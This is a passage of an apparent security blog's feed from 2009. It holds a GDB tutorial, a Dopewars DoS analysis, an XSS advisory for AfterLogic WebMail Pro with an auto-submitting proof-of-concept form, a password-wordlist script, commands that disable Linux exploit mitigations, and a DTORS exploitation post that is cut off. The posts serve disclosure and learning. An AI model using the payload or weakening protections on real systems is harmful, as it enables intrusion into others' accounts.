4;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;Unfortunately, the reverse execution support is not perfect. For example, if you continue the program further, it will remove the breakpoint when reaching the printf() call inside of foo() Looking at the backtrace makes it obvious that GDB is confused about it's current location the code (that might be because the stack is not completely reconstructed when executing backwards):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) reverse-continue&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Continuing.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Watchpoint 3 deleted because the program has left the block in&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;which its expression is valid.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;0xb7ec6ea3 in vfprintf () from /lib/libc.so.6&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) list foo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;1       #include &lt;/span&gt;&lt;stdio.h&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;3       void foo() {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;4               printf("inside foo()");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;5               int x = 6;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;6               x += 2;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;7       }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;9       int main() {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;10&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;(gdb) backtrace&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;#0  0xb7ec6ea3 in vfprintf () from /lib/libc.so.6&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;#1  0x00000000 in ?? ()&lt;/span&gt;&lt;br /&gt;&lt;/stdio.h&gt;&lt;/pre&gt;&lt;br /&gt;Still, reverse debugging is a really neat feature and with further enhancement it could become a game changer and avoid many headaches to programmers and QA workers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-1505763824295785587?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/PJE2d3w5De4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/1505763824295785587/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/10/gdb-reverse-debugging-tutorial.html#comment-form" title="3 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/1505763824295785587?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/1505763824295785587?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/10/gdb-reverse-debugging-tutorial.html" title="GDB reverse debugging tutorial" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://farm3.static.flickr.com/2458/3573882430_12a311fae1_t.jpg" height="72" width="72" /><thr:total>3</thr:total></entry><entry gd:etag="W/&quot;A04CSHc-fyp7ImA9WxNXGUg.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-310393114698725798</id><published>2009-10-07T19:37:00.003-04:00</published><updated>2009-10-07T19:59:29.957-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-07T19:59:29.957-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="analyse" /><category scheme="http://www.blogger.com/atom/ns#" term="code review" /><title>Analyse : Dopewars 1.5.12 Server Denial of Service</title><content type="html">Dans cet article, je fais l'analyse d'un Denial of Service découvert dans le serveur du jeu Dopewars 1.5.12. Le bug a été découvert par dougtko et l'avis original peut-être lu ici : &lt;a href="http://seclists.org/bugtraq/2009/Oct/36"&gt;http://seclists.org/bugtraq/2009/Oct/36&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Le problème est rencontré lorsqu'un joueur utilise un jet pour se déplacer. Le code fautif est le suivant :&lt;br /&gt;&lt;br /&gt;serverside.c : ligne 505&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;case C_REQUESTJET:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt; i = atoi(Data);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Plus loin, la valeur est utilisée de cette façon :&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;else if (i != Play-&gt;IsAt &amp;amp;&amp;amp; (NumTurns == 0 || Play-&gt;Turn &lt;&gt;EventNum == E_NONE &amp;amp;&amp;amp; Play-&gt;Health &gt; 0) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt; dopelog(4, LF_SERVER, "%s jets to %s", GetPlayerName(Play), Location[i].Name);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Location est un tableau de structures LOCATION qui représentent les villes du jeu. Comme le jeu ne contient que 8 villes, il est possible de lire bien en dehors du tableau. En utilisant une adresse suffisamment grande, une lecture en dehors de la limite de la mémoire du programme sera tenté ce qui cause un erreur de segmentation et fait planter le serveur.&lt;br /&gt;&lt;br /&gt;Pour corriger le problème, le code suivant a été ajouté après avoir récupéré la valeur de i :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;/* Make sure value is within range */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;if (i &lt;&gt;= NumLocation) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt; dopelog(3, LF_SERVER, _("%s: DENIED jet to invalid location %s"), GetPlayerName(Play), Data);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt; break;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-310393114698725798?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/oLxQ5x5d-14" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/310393114698725798/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/10/analyse-dopewars-1512-server-denial-of.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/310393114698725798?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/310393114698725798?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/10/analyse-dopewars-1512-server-denial-of.html" title="Analyse : Dopewars 1.5.12 Server Denial of Service" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;DkIBQHc4eCp7ImA9WxNXF0s.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-7721404262205531375</id><published>2009-09-30T16:46:00.007-04:00</published><updated>2009-10-05T13:42:31.930-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-05T13:42:31.930-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="advisory" /><title>Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro</title><content type="html">Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Description&lt;br /&gt;-------------&lt;br /&gt;AfterLogic WebMail Pro is vulnerable to Cross-Site Scripting, allowing injection&lt;br /&gt;of malicious code in the context of the application.&lt;br /&gt;&lt;br /&gt;Overview&lt;br /&gt;-----------&lt;br /&gt;Quote from http://www.afterlogic.com/products/webmail-pro :&lt;br /&gt;"Webmail front-end for your existing POP3/IMAP mail server. Offer your users&lt;br /&gt;the fast AJAX webmail and innovative calendar with sharing. Stay in control&lt;br /&gt;with the admin panel and the developer's API."&lt;br /&gt;&lt;br /&gt;Details&lt;br /&gt;--------&lt;br /&gt;Vulnerable Product : AfterLogic WebMail Pro &lt;= 4.7.10&lt;br /&gt;Vulnerability Type : Cross-Site Scripting (XSS)&lt;br /&gt;Affected page : history-storage.aspx&lt;br /&gt;Vulnerable parameters : HistoryKey, HistoryStorageObjectName&lt;br /&gt;Discovered by : Sébastien Duquette (http://intheknow-security.blogspot.com)&lt;br /&gt;                Gardien Virtuel (www.gardienvirtuel.com)&lt;br /&gt;Advisory : http://www.gardienvirtuel.com/fichiers/documents/publications/GVI_2009-01_EN.txt&lt;br /&gt;&lt;br /&gt;Timeline&lt;br /&gt;----------&lt;br /&gt;Bug Discovered : September 18th, 2009&lt;br /&gt;Vendor Advised : September 23rd, 2009&lt;br /&gt;Fix made available : September 30th, 2009&lt;br /&gt;&lt;br /&gt;Proof of concept&lt;br /&gt;-------------------&lt;br /&gt;The targeted user must be logged in the webmail. This proof of concept was&lt;br /&gt;successfully tested in Firefox 3.5 and Internet Explorer 8.&lt;br /&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body onload="document.form1.submit()"&amp;gt;&lt;br /&gt;&amp;lt;form name="form1" method="post" action="http://WEBSITE/history-storage.aspx?param=0.21188772204998574" onsubmit="return false;"&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="HistoryKey" value="value"&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="HistoryStorageObjectName" value="location; alert('xss'); //"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;Solution&lt;br /&gt;---------&lt;br /&gt;The vendor has made available a patched version. Update to AfterLogic Webmail Pro 4.7.11&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-7721404262205531375?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/1vUB4MiDzcQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/7721404262205531375/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/09/security-advisory-cross-site-scripting.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7721404262205531375?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7721404262205531375?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/09/security-advisory-cross-site-scripting.html" title="Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;Ck8MRn89fip7ImA9WxNQEE4.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-8430853867708503241</id><published>2009-09-15T11:43:00.006-04:00</published><updated>2009-09-15T12:08:07.166-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-15T12:08:07.166-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="spam" /><title>Retracer la source d'une image avec TinEye</title><content type="html">Depuis quelque temps, j'utilise le service &lt;a href="http://twitter.com/ekse0x"&gt;Twitter&lt;/a&gt; pour me tenir au courant de ce qui se passe dans le monde de la sécurité informatique. Comme tout ce qui existe sur le web, il n'a pas fallu grand temps avant que Twitter soit ciblé par le spam. Généralement, le spam se présente de cette façon : vous recevez un message de Twitter vous indiquant que quelqu'un désire s'abonner à votre profil. La photo de cette personne est généralement d'une fille sexy, souvent peu vêtue. Voici un exemple d'invitation que j'ai reçu ce matin :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_9BvPEH0xq_M/Sq-50aw7UgI/AAAAAAAAACA/IWvYiMlz42A/s1600-h/twitter.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 277px;" src="http://2.bp.blogspot.com/_9BvPEH0xq_M/Sq-50aw7UgI/AAAAAAAAACA/IWvYiMlz42A/s400/twitter.PNG" alt="" id="BLOGGER_PHOTO_ID_5381724389919904258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;De nombreux indices laisse deviner qu'il s'agit bien de spam : le fait que ce compte suit un grand nombre de personnes (66) alors que personne ne le suit, le compte a envoyé très peu de messages et ils contiennent  des URL vers des sites qui désirent vous offrir quelque à vendre ou qui tentent d'infecter votre PC.&lt;br /&gt;&lt;br /&gt;Une autre méthode pour déterminer sur un compte est légitime est de retracer la source de la photo utilisée sur le profil. Le site &lt;a href="http://tineye.com/"&gt;TinEye.com&lt;/a&gt; permet de retracer les sites qui contiennent la même image. En recherchant l'image du compte on obtient les résultats suivants (l'image originale s'appellait 15136422_sexykirstel_24_bigger.gif alors que le compte est au nom d'une supposée Wilda, ce qui nous indique aussi qu'il s'agit d'un faux compte) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_9BvPEH0xq_M/Sq-6rtBVdlI/AAAAAAAAACI/9HBZJaShjEo/s1600-h/tineye.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 398px;" src="http://1.bp.blogspot.com/_9BvPEH0xq_M/Sq-6rtBVdlI/AAAAAAAAACI/9HBZJaShjEo/s400/tineye.PNG" alt="" id="BLOGGER_PHOTO_ID_5381725339713369682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;TinEye a retrouvé la même image sur 5 sites différents et qui n'ont aucun rapport avec notre nouvelle amie. La meilleure chose à faire est de tout simplement ignorer le message.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-8430853867708503241?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/PGyh54I35iY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/8430853867708503241/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/09/retracer-la-source-dune-image-avec.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/8430853867708503241?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/8430853867708503241?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/09/retracer-la-source-dune-image-avec.html" title="Retracer la source d'une image avec TinEye" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_9BvPEH0xq_M/Sq-50aw7UgI/AAAAAAAAACA/IWvYiMlz42A/s72-c/twitter.PNG" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;CUMERnc6fip7ImA9WxNRGEw.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-7121857968425233474</id><published>2009-09-12T22:58:00.007-04:00</published><updated>2009-09-12T23:43:27.916-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-12T23:43:27.916-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mots de passe" /><category scheme="http://www.blogger.com/atom/ns#" term="bruteforce" /><title>Les 250 mots de passes les plus utilisés</title><content type="html">Dernièrement j'ai découvert la liste des&lt;a href="http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php"&gt; 250 mots de passe les plus utilisés&lt;/a&gt; sur Internet. Cette liste est basée sur les mots de passes des sites Singles.com, phpBB et MySpace qui ont été publiés suite au piratage de ces sites.&lt;br /&gt;&lt;br /&gt;Je voulais obtenir la liste des mots de passe au format texte puisque la plupart des outils de sécurité (john, medusa, etc.) utilise ce format. J'ai donc écrit un petit script Ruby en utilisant Hpricot, un parseur HTML. Après avoir extrait le tableau du document original, le simple script suivant a fait le travail.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;require 'rubygems'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;require 'hpricot'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;doc = Hpricot(open("common_passwords.html"))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;counter = 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(doc/"td").each do |td|&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    if counter % 3 == 0 then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;        puts td.inner_html&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    end&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    counter = counter + 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;end&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La liste des mots de passe est disponible ici : &lt;a href="http://sites.google.com/site/ekse0x/top250_passwords.txt"&gt;http://sites.google.com/site/ekse0x/top250_passwords.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pour ceux que ça intéresse, un tutoriel sur Hpricot : &lt;a href="http://soledadpenades.com/2007/06/15/extracting-data-with-hpricot/"&gt;http://soledadpenades.com/2007/06/15/extracting-data-with-hpricot/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La liste est intéressante car elle nous donne une indication très représentative des mots de passe utilisés par les gens. On peut par exemple voir que le mot de passe le plus utilisé, 123456, représente 1.12% de tous les mots passe, ce qui veut dire qu'une personne sur 100 l'utilise. Les 25 mots de passe les plus utilisés représente 5% des mots de passes les plus utilisés. C'est énorme. Toute personne qui utilise l'un de ces mots de passes courre le risque que quelqu'un devine son mot de passe et accède à son compte.&lt;br /&gt;&lt;br /&gt;Autre détail intéressant, le nom du site apparait assez haut dans la liste des mots de passe les plus populaire pour chacun des sites :&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;phpbb  - 3e position&lt;/li&gt;&lt;li&gt;myspace1 - 7e position&lt;/li&gt;&lt;li&gt;single - 14e position&lt;/li&gt;&lt;/ul&gt;Une bonne pratique pour les administrateurs de ces sites serait d'interdire d'utiliser le nom du site et les termes qui s'en rapproche comme mot de passe.&lt;br /&gt;&lt;br /&gt;Pour plus d'analyse, je vous invite fortement à lire le document original : &lt;a href="http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php"&gt;http://blog.jimmyr.com/Password_analysis_of_databases_that_were_hacked_28_2009.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-7121857968425233474?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/VvDS-TtpkZQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/7121857968425233474/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/09/les-250-mots-de-passes-les-plus.html#comment-form" title="1 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7121857968425233474?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/7121857968425233474?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/09/les-250-mots-de-passes-les-plus.html" title="Les 250 mots de passes les plus utilisés" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><thr:total>1</thr:total></entry><entry gd:etag="W/&quot;CEANQnw8fyp7ImA9WxNTEko.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-6194294161207724987</id><published>2009-08-14T13:28:00.008-04:00</published><updated>2009-08-14T13:59:53.277-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-14T13:59:53.277-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="exploitation" /><title>Désactiver les protections sous Linux pour pratiquer le développement d'exploit</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3602/3387667672_d9a9f7597b.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 175px; height: 249px;" src="http://farm4.static.flickr.com/3602/3387667672_d9a9f7597b.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Je suis actuellement à parfaire mes connaissances sur le développement d'exploit pour utiliser des vulnérabilités de type buffer overflow. Armé de ma &lt;a href="http://www.amazon.ca/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X"&gt;bible&lt;/a&gt;, je tente actuellement de mettre en pratique les différentes techniques (stack overflow, heap overflow, format strings bug, GOT rewriting etc.) en complétant les exercices &lt;a style="font-style: italic;" href="http://community.corest.com/%7Egera/InsecureProgramming/"&gt;Insecure Programming by example&lt;/a&gt; de gera.&lt;br /&gt;&lt;br /&gt;Linux est la plateforme idéale pour pratiquer ces techniques puisque le système est bien documenté, le code source est accessible et de nombreux outils sont disponibles. Toutefois, les distributions récentes sont livrées avec plusieurs protections qui complexifient le développement d'exploit. Voici donc une liste de commandes pratiques pour désactiver ces protections.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Activer les coredumps : &lt;span style="color: rgb(51, 255, 255);"&gt;ulimit -c unlimited&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Désactiver la Stack Randomization :  &lt;span style="color: rgb(51, 255, 255);"&gt;Ajouter kernel.randomize_va_space = 0 à /etc/sysctl.conf&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Désactiver la détection de heap overflow :  &lt;span style="color: rgb(51, 255, 255);"&gt;export MALLOC_CHECK_=0&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Compiler avec les options suivantes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;-ggdb&lt;/span&gt; : activer le support pour le déboggeur gdb&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;-mpreferred-stack-boundary=2&lt;/span&gt; : Évite que gcc aligne les variables différemment sur la stack&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;-fno-stack-protector&lt;/span&gt; : Désactive la protection de la stack avec ProPolice (activé sur Gentoo et Ubuntu)&lt;/li&gt;&lt;/ul&gt;Évidemment, je vous recommande fortement de pratiquer sur une machine virtuelle ou une machine dédiée puisque le fait de désactiver les protections rend l'ensemble des programmes vulnérables.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Merci à Phil pour la méthode pour désactiver ProPolice.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4190540950412561799-6194294161207724987?l=solution-36.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/intheknow-security/~4/p0UpX8moPgs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://solution-36.blogspot.com/feeds/6194294161207724987/comments/default" title="Publier les commentaires" /><link rel="replies" type="text/html" href="http://solution-36.blogspot.com/2009/08/desactiver-les-protections-sous-linux.html#comment-form" title="0 commentaires" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/6194294161207724987?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4190540950412561799/posts/default/6194294161207724987?v=2" /><link rel="alternate" type="text/html" href="http://solution-36.blogspot.com/2009/08/desactiver-les-protections-sous-linux.html" title="Désactiver les protections sous Linux pour pratiquer le développement d'exploit" /><author><name>ekse</name><uri>http://www.blogger.com/profile/16232667801876603914</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/_9BvPEH0xq_M/S8qwBvxMgnI/AAAAAAAAAD4/fKHV65wrD7M/S220/janedoe.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://farm4.static.flickr.com/3602/3387667672_d9a9f7597b_t.jpg" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;D0MNQ3s-fSp7ImA9WxNRGU4.&quot;"><id>tag:blogger.com,1999:blog-4190540950412561799.post-560378256429722339</id><published>2009-08-07T18:32:00.006-04:00</published><updated>2009-09-14T09:38:12.555-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-14T09:38:12.555-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="exploitation" /><title>Exploitation via DTORS and mitigating factors in GCC 4.4</title><content type="html">&lt;a style="" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm2.static.flickr.com/1122/1192682319_7a8640f760.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 210px; height: 293px;" src="http://farm2.static.flickr.com/1122/1192682319_7a8640f760.jpg" alt="" border="0" /&gt;&lt;/a&gt;The rewriting of the DTORS section is a fairly known technique to exploit a program compiled with GCC. Described shortly, the DTORS section makes it possible to call function after the execution of a program. For example, adding the following code will have the effect of calling the stop() function after the execution of the main() function :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;void stop() __attribute__ ((destructor));&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;void stop() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;          printf("THE END\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The list of of functions to be called at the end of the program are written in the DTORS section, which is writable and thus can be used to redirect execution. For more details concerning this technique, consult the following &lt;a href="http://www.synnergy.net/downloads/papers/dtors.txt"&gt;article&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;While trying to use this technique I found that it wasn't working if there where no &lt;span style="font-style: italic;"&gt;destructor &lt;/span&gt;functions in the original code (contrarily to what is said in the first edition of  &lt;a href="http://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593270070"&gt;&lt;span style="font-style: italic;"&gt;The Art of 